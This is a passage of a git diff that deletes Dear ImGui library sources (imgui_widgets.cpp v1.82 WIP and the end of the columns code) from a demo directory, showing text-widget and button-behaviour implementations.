window->DrawList->AddLine(ImVec2(xi, y1 + 1.0f), ImVec2(xi, y2), col); - } - - // Apply dragging after drawing the column lines, so our rendered lines are in sync with how items were displayed during the frame. - if (dragging_column != -1) - { - if (!columns->IsBeingResized) - for (int n = 0; n < columns->Count + 1; n++) - columns->Columns[n].OffsetNormBeforeResize = columns->Columns[n].OffsetNorm; - columns->IsBeingResized = is_being_resized = true; - float x = GetDraggedColumnOffset(columns, dragging_column); - SetColumnOffset(dragging_column, x); - } - } - columns->IsBeingResized = is_being_resized; - - window->WorkRect = window->ParentWorkRect; - window->ParentWorkRect = columns->HostBackupParentWorkRect; - window->DC.CurrentColumns = NULL; - window->DC.ColumnsOffset.x = 0.0f; - window->DC.CursorPos.x = IM_FLOOR(window->Pos.x + window->DC.Indent.x + window->DC.ColumnsOffset.x); -} - -void ImGui::Columns(int columns_count, const char* id, bool border) -{ - ImGuiWindow* window = GetCurrentWindow(); - IM_ASSERT(columns_count >= 1); - - ImGuiOldColumnFlags flags = (border ? 0 : ImGuiOldColumnFlags_NoBorder); - //flags |= ImGuiOldColumnFlags_NoPreserveWidths; // NB: Legacy behavior - ImGuiOldColumns* columns = window->DC.CurrentColumns; - if (columns != NULL && columns->Count == columns_count && columns->Flags == flags) - return; - - if (columns != NULL) - EndColumns(); - - if (columns_count != 1) - BeginColumns(id, columns_count, flags); -} - -//------------------------------------------------------------------------- - -#endif // #ifndef IMGUI_DISABLE diff --git a/demos/DemoImGui/imgui_widgets.cpp b/demos/DemoImGui/imgui_widgets.cpp deleted file mode 100644 index 9db106e..0000000 --- a/demos/DemoImGui/imgui_widgets.cpp +++ /dev/null @@ -1,7980 +0,0 @@ -// dear imgui, v1.82 WIP -// (widgets code) - -/* - -Index of this file: - -// [SECTION] Forward Declarations -// [SECTION] Widgets: Text, etc. -// [SECTION] Widgets: Main (Button, Image, Checkbox, RadioButton, ProgressBar, Bullet, etc.) -// [SECTION] Widgets: Low-level Layout helpers (Spacing, Dummy, NewLine, Separator, etc.) -// [SECTION] Widgets: ComboBox -// [SECTION] Data Type and Data Formatting Helpers -// [SECTION] Widgets: DragScalar, DragFloat, DragInt, etc. -// [SECTION] Widgets: SliderScalar, SliderFloat, SliderInt, etc. -// [SECTION] Widgets: InputScalar, InputFloat, InputInt, etc. -// [SECTION] Widgets: InputText, InputTextMultiline -// [SECTION] Widgets: ColorEdit, ColorPicker, ColorButton, etc. -// [SECTION] Widgets: TreeNode, CollapsingHeader, etc. -// [SECTION] Widgets: Selectable -// [SECTION] Widgets: ListBox -// [SECTION] Widgets: PlotLines, PlotHistogram -// [SECTION] Widgets: Value helpers -// [SECTION] Widgets: MenuItem, BeginMenu, EndMenu, etc. -// [SECTION] Widgets: BeginTabBar, EndTabBar, etc. -// [SECTION] Widgets: BeginTabItem, EndTabItem, etc. -// [SECTION] Widgets: Columns, BeginColumns, EndColumns, etc. - -*/ - -#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_WARNINGS) -#define _CRT_SECURE_NO_WARNINGS -#endif - -#include "imgui.h" -#ifndef IMGUI_DISABLE - -#ifndef IMGUI_DEFINE_MATH_OPERATORS -#define IMGUI_DEFINE_MATH_OPERATORS -#endif -#include "imgui_internal.h" - -// System includes -#include // toupper -#if defined(_MSC_VER) && _MSC_VER <= 1500 // MSVC 2008 or earlier -#include // intptr_t -#else -#include // intptr_t -#endif - -//------------------------------------------------------------------------- -// Warnings -//------------------------------------------------------------------------- - -// Visual Studio warnings -#ifdef _MSC_VER -#pragma warning (disable: 4127) // condition expression is constant -#pragma warning (disable: 4996) // 'This function or variable may be unsafe': strcpy, strdup, sprintf, vsnprintf, sscanf, fopen -#if defined(_MSC_VER) && _MSC_VER >= 1922 // MSVC 2019 16.2 or later -#pragma warning (disable: 5054) // operator '|': deprecated between enumerations of different types -#endif -#endif - -// Clang/GCC warnings with -Weverything -#if defined(__clang__) -#if __has_warning("-Wunknown-warning-option") -#pragma clang diagnostic ignored "-Wunknown-warning-option" // warning: unknown warning group 'xxx' // not all warnings are known by all Clang versions and they tend to be rename-happy.. so ignoring warnings triggers new warnings on some configuration. Great! -#endif -#pragma clang diagnostic ignored "-Wunknown-pragmas" // warning: unknown warning group 'xxx' -#pragma clang diagnostic ignored "-Wold-style-cast" // warning: use of old-style cast // yes, they are more terse. -#pragma clang diagnostic ignored "-Wfloat-equal" // warning: comparing floating point with == or != is unsafe // storing and comparing against same constants (typically 0.0f) is ok. -#pragma clang diagnostic ignored "-Wformat-nonliteral" // warning: format string is not a string literal // passing non-literal to vsnformat(). yes, user passing incorrect format strings can crash the code. -#pragma clang diagnostic ignored "-Wsign-conversion" // warning: implicit conversion changes signedness -#pragma clang diagnostic ignored "-Wzero-as-null-pointer-constant" // warning: zero as null pointer constant // some standard header variations use #define NULL 0 -#pragma clang diagnostic ignored "-Wdouble-promotion" // warning: implicit conversion from 'float' to 'double' when passing argument to function // using printf() is a misery with this as C++ va_arg ellipsis changes float to double. -#pragma clang diagnostic ignored "-Wenum-enum-conversion" // warning: bitwise operation between different enumeration types ('XXXFlags_' and 'XXXFlagsPrivate_') -#pragma clang diagnostic ignored "-Wdeprecated-enum-enum-conversion"// warning: bitwise operation between different enumeration types ('XXXFlags_' and 'XXXFlagsPrivate_') is deprecated -#pragma clang diagnostic ignored "-Wimplicit-int-float-conversion" // warning: implicit conversion from 'xxx' to 'float' may lose precision -#elif defined(__GNUC__) -#pragma GCC diagnostic ignored "-Wpragmas" // warning: unknown option after '#pragma GCC diagnostic' kind -#pragma GCC diagnostic ignored "-Wformat-nonliteral" // warning: format not a string literal, format string not checked -#pragma GCC diagnostic ignored "-Wclass-memaccess" // [__GNUC__ >= 8] warning: 'memset/memcpy' clearing/writing an object of type 'xxxx' with no trivial copy-assignment; use assignment or value-initialization instead -#endif - -//------------------------------------------------------------------------- -// Data -//------------------------------------------------------------------------- - -// Widgets -static const float DRAGDROP_HOLD_TO_OPEN_TIMER = 0.70f; // Time for drag-hold to activate items accepting the ImGuiButtonFlags_PressedOnDragDropHold button behavior. -static const float DRAG_MOUSE_THRESHOLD_FACTOR = 0.50f; // Multiplier for the default value of io.MouseDragThreshold to make DragFloat/DragInt react faster to mouse drags. - -// Those MIN/MAX values are not define because we need to point to them -static const signed char IM_S8_MIN = -128; -static const signed char IM_S8_MAX = 127; -static const unsigned char IM_U8_MIN = 0; -static const unsigned char IM_U8_MAX = 0xFF; -static const signed short IM_S16_MIN = -32768; -static const signed short IM_S16_MAX = 32767; -static const unsigned short IM_U16_MIN = 0; -static const unsigned short IM_U16_MAX = 0xFFFF; -static const ImS32 IM_S32_MIN = INT_MIN; // (-2147483647 - 1), (0x80000000); -static const ImS32 IM_S32_MAX = INT_MAX; // (2147483647), (0x7FFFFFFF) -static const ImU32 IM_U32_MIN = 0; -static const ImU32 IM_U32_MAX = UINT_MAX; // (0xFFFFFFFF) -#ifdef LLONG_MIN -static const ImS64 IM_S64_MIN = LLONG_MIN; // (-9223372036854775807ll - 1ll); -static const ImS64 IM_S64_MAX = LLONG_MAX; // (9223372036854775807ll); -#else -static const ImS64 IM_S64_MIN = -9223372036854775807LL - 1; -static const ImS64 IM_S64_MAX = 9223372036854775807LL; -#endif -static const ImU64 IM_U64_MIN = 0; -#ifdef ULLONG_MAX -static const ImU64 IM_U64_MAX = ULLONG_MAX; // (0xFFFFFFFFFFFFFFFFull); -#else -static const ImU64 IM_U64_MAX = (2ULL * 9223372036854775807LL + 1); -#endif - -//------------------------------------------------------------------------- -// [SECTION] Forward Declarations -//------------------------------------------------------------------------- - -// For InputTextEx() -static bool InputTextFilterCharacter(unsigned int* p_char, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data); -static int InputTextCalcTextLenAndLineCount(const char* text_begin, const char** out_text_end); -static ImVec2 InputTextCalcTextSizeW(const ImWchar* text_begin, const ImWchar* text_end, const ImWchar** remaining = NULL, ImVec2* out_offset = NULL, bool stop_on_new_line = false); - -//------------------------------------------------------------------------- -// [SECTION] Widgets: Text, etc. -//------------------------------------------------------------------------- -// - TextEx() [Internal] -// - TextUnformatted() -// - Text() -// - TextV() -// - TextColored() -// - TextColoredV() -// - TextDisabled() -// - TextDisabledV() -// - TextWrapped() -// - TextWrappedV() -// - LabelText() -// - LabelTextV() -// - BulletText() -// - BulletTextV() -//------------------------------------------------------------------------- - -void ImGui::TextEx(const char* text, const char* text_end, ImGuiTextFlags flags) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return; - - ImGuiContext& g = *GImGui; - IM_ASSERT(text != NULL); - const char* text_begin = text; - if (text_end == NULL) - text_end = text + strlen(text); // FIXME-OPT - - const ImVec2 text_pos(window->DC.CursorPos.x, window->DC.CursorPos.y + window->DC.CurrLineTextBaseOffset); - const float wrap_pos_x = window->DC.TextWrapPos; - const bool wrap_enabled = (wrap_pos_x >= 0.0f); - if (text_end - text > 2000 && !wrap_enabled) - { - // Long text! - // Perform manual coarse clipping to optimize for long multi-line text - // - From this point we will only compute the width of lines that are visible. Optimization only available when word-wrapping is disabled. - // - We also don't vertically center the text within the line full height, which is unlikely to matter because we are likely the biggest and only item on the line. - // - We use memchr(), pay attention that well optimized versions of those str/mem functions are much faster than a casually written loop. - const char* line = text; - const float line_height = GetTextLineHeight(); - ImVec2 text_size(0, 0); - - // Lines to skip (can't skip when logging text) - ImVec2 pos = text_pos; - if (!g.LogEnabled) - { - int lines_skippable = (int)((window->ClipRect.Min.y - text_pos.y) / line_height); - if (lines_skippable > 0) - { - int lines_skipped = 0; - while (line < text_end && lines_skipped < lines_skippable) - { - const char* line_end = (const char*)memchr(line, '\n', text_end - line); - if (!line_end) - line_end = text_end; - if ((flags & ImGuiTextFlags_NoWidthForLargeClippedText) == 0) - text_size.x = ImMax(text_size.x, CalcTextSize(line, line_end).x); - line = line_end + 1; - lines_skipped++; - } - pos.y += lines_skipped * line_height; - } - } - - // Lines to render - if (line < text_end) - { - ImRect line_rect(pos, pos + ImVec2(FLT_MAX, line_height)); - while (line < text_end) - { - if (IsClippedEx(line_rect, 0, false)) - break; - - const char* line_end = (const char*)memchr(line, '\n', text_end - line); - if (!line_end) - line_end = text_end; - text_size.x = ImMax(text_size.x, CalcTextSize(line, line_end).x); - RenderText(pos, line, line_end, false); - line = line_end + 1; - line_rect.Min.y += line_height; - line_rect.Max.y += line_height; - pos.y += line_height; - } - - // Count remaining lines - int lines_skipped = 0; - while (line < text_end) - { - const char* line_end = (const char*)memchr(line, '\n', text_end - line); - if (!line_end) - line_end = text_end; - if ((flags & ImGuiTextFlags_NoWidthForLargeClippedText) == 0) - text_size.x = ImMax(text_size.x, CalcTextSize(line, line_end).x); - line = line_end + 1; - lines_skipped++; - } - pos.y += lines_skipped * line_height; - } - text_size.y = (pos - text_pos).y; - - ImRect bb(text_pos, text_pos + text_size); - ItemSize(text_size, 0.0f); - ItemAdd(bb, 0); - } - else - { - const float wrap_width = wrap_enabled ? CalcWrapWidthForPos(window->DC.CursorPos, wrap_pos_x) : 0.0f; - const ImVec2 text_size = CalcTextSize(text_begin, text_end, false, wrap_width); - - ImRect bb(text_pos, text_pos + text_size); - ItemSize(text_size, 0.0f); - if (!ItemAdd(bb, 0)) - return; - - // Render (we don't hide text after ## in this end-user function) - RenderTextWrapped(bb.Min, text_begin, text_end, wrap_width); - } -} - -void ImGui::TextUnformatted(const char* text, const char* text_end) -{ - TextEx(text, text_end, ImGuiTextFlags_NoWidthForLargeClippedText); -} - -void ImGui::Text(const char* fmt, ...) -{ - va_list args; - va_start(args, fmt); - TextV(fmt, args); - va_end(args); -} - -void ImGui::TextV(const char* fmt, va_list args) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return; - - ImGuiContext& g = *GImGui; - const char* text_end = g.TempBuffer + ImFormatStringV(g.TempBuffer, IM_ARRAYSIZE(g.TempBuffer), fmt, args); - TextEx(g.TempBuffer, text_end, ImGuiTextFlags_NoWidthForLargeClippedText); -} - -void ImGui::TextColored(const ImVec4& col, const char* fmt, ...) -{ - va_list args; - va_start(args, fmt); - TextColoredV(col, fmt, args); - va_end(args); -} - -void ImGui::TextColoredV(const ImVec4& col, const char* fmt, va_list args) -{ - PushStyleColor(ImGuiCol_Text, col); - if (fmt[0] == '%' && fmt[1] == 's' && fmt[2] == 0) - TextEx(va_arg(args, const char*), NULL, ImGuiTextFlags_NoWidthForLargeClippedText); // Skip formatting - else - TextV(fmt, args); - PopStyleColor(); -} - -void ImGui::TextDisabled(const char* fmt, ...) -{ - va_list args; - va_start(args, fmt); - TextDisabledV(fmt, args); - va_end(args); -} - -void ImGui::TextDisabledV(const char* fmt, va_list args) -{ - ImGuiContext& g = *GImGui; - PushStyleColor(ImGuiCol_Text, g.Style.Colors[ImGuiCol_TextDisabled]); - if (fmt[0] == '%' && fmt[1] == 's' && fmt[2] == 0) - TextEx(va_arg(args, const char*), NULL, ImGuiTextFlags_NoWidthForLargeClippedText); // Skip formatting - else - TextV(fmt, args); - PopStyleColor(); -} - -void ImGui::TextWrapped(const char* fmt, ...) -{ - va_list args; - va_start(args, fmt); - TextWrappedV(fmt, args); - va_end(args); -} - -void ImGui::TextWrappedV(const char* fmt, va_list args) -{ - ImGuiContext& g = *GImGui; - bool need_backup = (g.CurrentWindow->DC.TextWrapPos < 0.0f); // Keep existing wrap position if one is already set - if (need_backup) - PushTextWrapPos(0.0f); - if (fmt[0] == '%' && fmt[1] == 's' && fmt[2] == 0) - TextEx(va_arg(args, const char*), NULL, ImGuiTextFlags_NoWidthForLargeClippedText); // Skip formatting - else - TextV(fmt, args); - if (need_backup) - PopTextWrapPos(); -} - -void ImGui::LabelText(const char* label, const char* fmt, ...) -{ - va_list args; - va_start(args, fmt); - LabelTextV(label, fmt, args); - va_end(args); -} - -// Add a label+text combo aligned to other label+value widgets -void ImGui::LabelTextV(const char* label, const char* fmt, va_list args) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return; - - ImGuiContext& g = *GImGui; - const ImGuiStyle& style = g.Style; - const float w = CalcItemWidth(); - - const ImVec2 label_size = CalcTextSize(label, NULL, true); - const ImRect value_bb(window->DC.CursorPos, window->DC.CursorPos + ImVec2(w, label_size.y + style.FramePadding.y * 2)); - const ImRect total_bb(window->DC.CursorPos, window->DC.CursorPos + ImVec2(w + (label_size.x > 0.0f ? style.ItemInnerSpacing.x : 0.0f), style.FramePadding.y * 2) + label_size); - ItemSize(total_bb, style.FramePadding.y); - if (!ItemAdd(total_bb, 0)) - return; - - // Render - const char* value_text_begin = &g.TempBuffer[0]; - const char* value_text_end = value_text_begin + ImFormatStringV(g.TempBuffer, IM_ARRAYSIZE(g.TempBuffer), fmt, args); - RenderTextClipped(value_bb.Min, value_bb.Max, value_text_begin, value_text_end, NULL, ImVec2(0.0f, 0.5f)); - if (label_size.x > 0.0f) - RenderText(ImVec2(value_bb.Max.x + style.ItemInnerSpacing.x, value_bb.Min.y + style.FramePadding.y), label); -} - -void ImGui::BulletText(const char* fmt, ...) -{ - va_list args; - va_start(args, fmt); - BulletTextV(fmt, args); - va_end(args); -} - -// Text with a little bullet aligned to the typical tree node. -void ImGui::BulletTextV(const char* fmt, va_list args) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return; - - ImGuiContext& g = *GImGui; - const ImGuiStyle& style = g.Style; - - const char* text_begin = g.TempBuffer; - const char* text_end = text_begin + ImFormatStringV(g.TempBuffer, IM_ARRAYSIZE(g.TempBuffer), fmt, args); - const ImVec2 label_size = CalcTextSize(text_begin, text_end, false); - const ImVec2 total_size = ImVec2(g.FontSize + (label_size.x > 0.0f ? (label_size.x + style.FramePadding.x * 2) : 0.0f), label_size.y); // Empty text doesn't add padding - ImVec2 pos = window->DC.CursorPos; - pos.y += window->DC.CurrLineTextBaseOffset; - ItemSize(total_size, 0.0f); - const ImRect bb(pos, pos + total_size); - if (!ItemAdd(bb, 0)) - return; - - // Render - ImU32 text_col = GetColorU32(ImGuiCol_Text); - RenderBullet(window->DrawList, bb.Min + ImVec2(style.FramePadding.x + g.FontSize * 0.5f, g.FontSize * 0.5f), text_col); - RenderText(bb.Min + ImVec2(g.FontSize + style.FramePadding.x * 2, 0.0f), text_begin, text_end, false); -} - -//------------------------------------------------------------------------- -// [SECTION] Widgets: Main -//------------------------------------------------------------------------- -// - ButtonBehavior() [Internal] -// - Button() -// - SmallButton() -// - InvisibleButton() -// - ArrowButton() -// - CloseButton() [Internal] -// - CollapseButton() [Internal] -// - GetWindowScrollbarID() [Internal] -// - GetWindowScrollbarRect() [Internal] -// - Scrollbar() [Internal] -// - ScrollbarEx() [Internal] -// - Image() -// - ImageButton() -// - Checkbox() -// - CheckboxFlagsT() [Internal] -// - CheckboxFlags() -// - RadioButton() -// - ProgressBar() -// - Bullet() -//------------------------------------------------------------------------- - -// The ButtonBehavior() function is key to many interactions and used by many/most widgets. -// Because we handle so many cases (keyboard/gamepad navigation, drag and drop) and many specific behavior (via ImGuiButtonFlags_), -// this code is a little complex. -// By far the most common path is interacting with the Mouse using the default ImGuiButtonFlags_PressedOnClickRelease button behavior. -// See the series of events below and the corresponding state reported by dear imgui: -//------------------------------------------------------------------------------------------------------------------------------------------------ -// with PressedOnClickRelease: return-value IsItemHovered() IsItemActive() IsItemActivated() IsItemDeactivated() IsItemClicked() -// Frame N+0 (mouse is outside bb) - - - - - - -// Frame N+1 (mouse moves inside bb) - true - - - - -// Frame N+2 (mouse button is down) - true true true - true -// Frame N+3 (mouse button is down) - true true - - - -// Frame N+4 (mouse moves outside bb) - - true - - - -// Frame N+5 (mouse moves inside bb) - true true - - - -// Frame N+6 (mouse button is released) true true - - true - -// Frame N+7 (mouse button is released) - true - - - - -// Frame N+8 (mouse moves outside bb) - - - - - - -//------------------------------------------------------------------------------------------------------------------------------------------------ -// with PressedOnClick: return-value IsItemHovered() IsItemActive() IsItemActivated() IsItemDeactivated() IsItemClicked() -// Frame N+2 (mouse button is down) true true true true - true -// Frame N+3 (mouse button is down) - true true - - - -// Frame N+6 (mouse button is released) - true - - true - -// Frame N+7 (mouse button is released) - true - - - - -//------------------------------------------------------------------------------------------------------------------------------------------------ -// with PressedOnRelease: return-value IsItemHovered() IsItemActive() IsItemActivated() IsItemDeactivated() IsItemClicked() -// Frame N+2 (mouse button is down) - true - - - true -// Frame N+3 (mouse button is down) - true - - - - -// Frame N+6 (mouse button is released) true true - - - - -// Frame N+7 (mouse button is released) - true - - - - -//------------------------------------------------------------------------------------------------------------------------------------------------ -// with PressedOnDoubleClick: return-value IsItemHovered() IsItemActive() IsItemActivated() IsItemDeactivated() IsItemClicked() -// Frame N+0 (mouse button is down) - true - - - true -// Frame N+1 (mouse button is down) - true - - - - -// Frame N+2 (mouse button is released) - true - - - - -// Frame N+3 (mouse button is released) - true - - - - -// Frame N+4 (mouse button is down) true true true true - true -// Frame N+5 (mouse button is down) - true true - - - -// Frame N+6 (mouse button is released) - true - - true - -// Frame N+7 (mouse button is released) - true - - - - -//------------------------------------------------------------------------------------------------------------------------------------------------ -// Note that some combinations are supported, -// - PressedOnDragDropHold can generally be associated with any flag. -// - PressedOnDoubleClick can be associated by PressedOnClickRelease/PressedOnRelease, in which case the second release event won't be reported. -//------------------------------------------------------------------------------------------------------------------------------------------------ -// The behavior of the return-value changes when ImGuiButtonFlags_Repeat is set: -// Repeat+ Repeat+ Repeat+ Repeat+ -// PressedOnClickRelease PressedOnClick PressedOnRelease PressedOnDoubleClick -//------------------------------------------------------------------------------------------------------------------------------------------------- -// Frame N+0 (mouse button is down) - true - true -// ... - - - - -// Frame N + RepeatDelay true true - true -// ... - - - - -// Frame N + RepeatDelay + RepeatRate*N true true - true -//------------------------------------------------------------------------------------------------------------------------------------------------- - -bool ImGui::ButtonBehavior(const ImRect& bb, ImGuiID id, bool* out_hovered, bool* out_held, ImGuiButtonFlags flags) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = GetCurrentWindow(); - - if (flags & ImGuiButtonFlags_Disabled) - { - if (out_hovered) *out_hovered = false; - if (out_held) *out_held = false; - if (g.ActiveId == id) ClearActiveID(); - return false; - } - - // Default only reacts to left mouse button - if ((flags & ImGuiButtonFlags_MouseButtonMask_) == 0) - flags |= ImGuiButtonFlags_MouseButtonDefault_; - - // Default behavior requires click + release inside bounding box - if ((flags & ImGuiButtonFlags_PressedOnMask_) == 0) - flags |= ImGuiButtonFlags_PressedOnDefault_; - - ImGuiWindow* backup_hovered_window = g.HoveredWindow; - const bool flatten_hovered_children = (flags & ImGuiButtonFlags_FlattenChildren) && g.HoveredWindow && g.HoveredWindow->RootWindow == window; - if (flatten_hovered_children) - g.HoveredWindow = window; - -#ifdef IMGUI_ENABLE_TEST_ENGINE - if (id != 0 && window->DC.LastItemId != id) - IMGUI_TEST_ENGINE_ITEM_ADD(bb, id); -#endif - - bool pressed = false; - bool hovered = ItemHoverable(bb, id); - - // Drag source doesn't report as hovered - if (hovered && g.DragDropActive && g.DragDropPayload.SourceId == id && !(g.DragDropSourceFlags & ImGuiDragDropFlags_SourceNoDisableHover)) - hovered = false; - - // Special mode for Drag and Drop where holding button pressed for a long time while dragging another item triggers the button - if (g.DragDropActive && (flags & ImGuiButtonFlags_PressedOnDragDropHold) && !(g.DragDropSourceFlags & ImGuiDragDropFlags_SourceNoHoldToOpenOthers)) - if (IsItemHovered(ImGuiHoveredFlags_AllowWhenBlockedByActiveItem)) - { - hovered = true; - SetHoveredID(id); - if (CalcTypematicRepeatAmount(g.HoveredIdTimer + 0.0001f - g.IO.DeltaTime, g.HoveredIdTimer + 0.0001f, DRAGDROP_HOLD_TO_OPEN_TIMER, 0.00f)) - { - pressed = true; - g.DragDropHoldJustPressedId = id; - FocusWindow(window); - } - } - - if (flatten_hovered_children) - g.HoveredWindow = backup_hovered_window; - - // AllowOverlap mode (rarely used) requires previous frame HoveredId to be null or to match. This allows using patterns where a later submitted widget overlaps a previous one. - if (hovered && (flags & ImGuiButtonFlags_AllowItemOverlap) && (g.HoveredIdPreviousFrame != id && g.HoveredIdPreviousFrame != 0)) - hovered = false; - - // Mouse handling - if (hovered) - { - if (!(flags & ImGuiButtonFlags_NoKeyModifiers) || (!g.IO.KeyCtrl && !g.IO.KeyShift && !g.IO.KeyAlt)) - { - // Poll buttons - int mouse_button_clicked = -1; - int mouse_button_released = -1; - if ((flags & ImGuiButtonFlags_MouseButtonLeft) && g.IO.MouseClicked[0]) { mouse_button_clicked = 0; } - else if ((flags & ImGuiButtonFlags_MouseButtonRight) && g.IO.MouseClicked[1]) { mouse_button_clicked = 1; } - else if ((flags & ImGuiButtonFlags_MouseButtonMiddle) && g.IO.MouseClicked[2]) { mouse_button_clicked = 2; } - if ((flags & ImGuiButtonFlags_MouseButtonLeft) && g.IO.MouseReleased[0]) { mouse_button_released = 0; } - else if ((flags & ImGuiButtonFlags_MouseButtonRight) && g.IO.MouseReleased[1]) { mouse_button_released = 1; } - else if ((flags & ImGuiButtonFlags_MouseButtonMiddle) && g.IO.MouseReleased[2]) { mouse_button_released = 2; } - - if (mouse_button_clicked != -1 && g.ActiveId != id) - { - if (flags & (ImGuiButtonFlags_PressedOnClickRelease | ImGuiButtonFlags_PressedOnClickReleaseAnywhere)) - { - SetActiveID(id, window); - g.ActiveIdMouseButton = mouse_button_clicked; - if (!(flags & ImGuiButtonFlags_NoNavFocus)) - SetFocusID(id, window); - FocusWindow(window); - } - if ((flags & ImGuiButtonFlags_PressedOnClick) || ((flags & ImGuiButtonFlags_PressedOnDoubleClick) && g.IO.MouseDoubleClicked[mouse_button_clicked])) - { - pressed = true; - if (flags & ImGuiButtonFlags_NoHoldingActiveId) - ClearActiveID(); - else - SetActiveID(id, window); // Hold on ID - g.ActiveIdMouseButton = mouse_button_clicked; - FocusWindow(window); - } - } - if ((flags & ImGuiButtonFlags_PressedOnRelease) && mouse_button_released != -1) - { - // Repeat mode trumps on release behavior - const bool has_repeated_at_least_once = (flags & ImGuiButtonFlags_Repeat) && g.IO.MouseDownDurationPrev[mouse_button_released] >= g.IO.KeyRepeatDelay; - if (!has_repeated_at_least_once) - pressed = true; - ClearActiveID(); - } - - // 'Repeat' mode acts when held regardless of _PressedOn flags (see table above). - // Relies on repeat logic of IsMouseClicked() but we may as well do it ourselves if we end up exposing finer RepeatDelay/RepeatRate settings. - if (g.ActiveId == id && (flags & ImGuiButtonFlags_Repeat)) - if (g.IO.MouseDownDuration[g.ActiveIdMouseButton] > 0.0f && IsMouseClicked(g.ActiveIdMouseButton, true)) - pressed = true; - } - - if (pressed) - g.NavDisableHighlight = true; - } - - // Gamepad/Keyboard navigation - // We report navigated item as hovered but we don't set g.HoveredId to not interfere with mouse. - if (g.NavId == id && !g.NavDisableHighlight && g.NavDisableMouseHover && (g.ActiveId == 0 || g.ActiveId == id || g.ActiveId == window->MoveId)) - if (!(flags & ImGuiButtonFlags_NoHoveredOnFocus)) - hovered = true; - if (g.NavActivateDownId == id) - { - bool nav_activated_by_code = (g.NavActivateId == id); - bool nav_activated_by_inputs = IsNavInputTest(ImGuiNavInput_Activate, (flags & ImGuiButtonFlags_Repeat) ? ImGuiInputReadMode_Repeat : ImGuiInputReadMode_Pressed); - if (nav_activated_by_code || nav_activated_by_inputs) - pressed = true; - if (nav_activated_by_code || nav_activated_by_inputs || g.ActiveId == id) - { - // Set active id so it can be queried by user via IsItemActive(), equivalent of holding the mouse button. - g.NavActivateId = id; // This is so SetActiveId assign a Nav source - SetActiveID(id, window); - if ((nav_activated_by_code || nav_activated_by_inputs) && !(flags & ImGuiButtonFlags_NoNavFocus)) - SetFocusID(id, window); - } - } - - // Process while held - bool held = false; - if (g.ActiveId == id) - { - if (g.ActiveIdSource == ImGuiInputSource_Mouse) - { - if (g.ActiveIdIsJustActivated) - g.ActiveIdClickOffset = g.IO.MousePos - bb.Min; - - const int mouse_button = g.ActiveIdMouseButton; - IM_ASSERT(mouse_button >= 0 && mouse_button < ImGuiMouseButton_COUNT); - if (g.IO.MouseDown[mouse_button]) - { - held = true; - } - else - { - bool release_in = hovered && (flags & ImGuiButtonFlags_PressedOnClickRelease) != 0; - bool release_anywhere = (flags & ImGuiButtonFlags_PressedOnClickReleaseAnywhere) != 0; - if ((release_in || release_anywhere) && !g.DragDropActive) - { - // Report as pressed when releasing the mouse (this is the most common path) - bool is_double_click_release = (flags & ImGuiButtonFlags_PressedOnDoubleClick) && g.IO.MouseDownWasDoubleClick[mouse_button]; - bool is_repeating_already = (flags & ImGuiButtonFlags_Repeat) && g.IO.MouseDownDurationPrev[mouse_button] >= g.IO.KeyRepeatDelay; // Repeat mode trumps - if (!is_double_click_release && !is_repeating_already) - pressed = true; - } - ClearActiveID(); - } - if (!(flags & ImGuiButtonFlags_NoNavFocus)) - g.NavDisableHighlight = true; - } - else if (g.ActiveIdSource == ImGuiInputSource_Nav) - { - // When activated using Nav, we hold on the ActiveID until activation button is released - if (g.NavActivateDownId != id) - ClearActiveID(); - } - if (pressed) - g.ActiveIdHasBeenPressedBefore = true; - } - - if (out_hovered) *out_hovered = hovered; - if (out_held) *out_held = held; - - return pressed; -} - -bool ImGui::ButtonEx(const char* label, const ImVec2& size_arg, ImGuiButtonFlags flags) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - const ImGuiStyle& style = g.Style; - const ImGuiID id = window->GetID(label); - const ImVec2 label_size = CalcTextSize(label, NULL, true); - - ImVec2 pos = window->DC.CursorPos; - if ((flags & ImGuiButtonFlags_AlignTextBaseLine) && style.FramePadding.y < window->DC.CurrLineTextBaseOffset) // Try to vertically align buttons that are smaller/have no padding so that text baseline matches (bit hacky, since it shouldn't be a flag) - pos.y += window->DC.CurrLineTextBaseOffset - style.FramePadding.y; - ImVec2 size = CalcItemSize(size_arg, label_size.x + style.FramePadding.x * 2.0f, label_size.y + style.FramePadding.y * 2.0f); - - const ImRect bb(pos, pos + size); - ItemSize(size, style.FramePadding.y); - if (!ItemAdd(bb, id)) - return false; - - if (window->DC.ItemFlags & ImGuiItemFlags_ButtonRepeat) - flags |= ImGuiButtonFlags_Repeat; - bool hovered, held; - bool pressed = ButtonBehavior(bb, id, &hovered, &held, flags); - - // Render - const ImU32 col = GetColorU32((held && hovered) ? ImGuiCol_ButtonActive : hovered ? ImGuiCol_ButtonHovered : ImGuiCol_Button); - RenderNavHighlight(bb, id); - RenderFrame(bb.Min, bb.Max, col, true, style.FrameRounding); - - if (g.LogEnabled) - LogSetNextTextDecoration("[", "]"); - RenderTextClipped(bb.Min + style.FramePadding, bb.Max - style.FramePadding, label, NULL, &label_size, style.ButtonTextAlign, &bb); - - // Automatically close popups - //if (pressed && !(flags & ImGuiButtonFlags_DontClosePopups) && (window->Flags & ImGuiWindowFlags_Popup)) - // CloseCurrentPopup(); - - IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.LastItemStatusFlags); - return pressed; -} - -bool ImGui::Button(const char* label, const ImVec2& size_arg) -{ - return ButtonEx(label, size_arg, ImGuiButtonFlags_None); -} - -// Small buttons fits within text without additional vertical spacing. -bool ImGui::SmallButton(const char* label) -{ - ImGuiContext& g = *GImGui; - float backup_padding_y = g.Style.FramePadding.y; - g.Style.FramePadding.y = 0.0f; - bool pressed = ButtonEx(label, ImVec2(0, 0), ImGuiButtonFlags_AlignTextBaseLine); - g.Style.FramePadding.y = backup_padding_y; - return pressed; -} - -// Tip: use ImGui::PushID()/PopID() to push indices or pointers in the ID stack. -// Then you can keep 'str_id' empty or the same for all your buttons (instead of creating a string based on a non-string id) -bool ImGui::InvisibleButton(const char* str_id, const ImVec2& size_arg, ImGuiButtonFlags flags) -{ - ImGuiWindow* window = 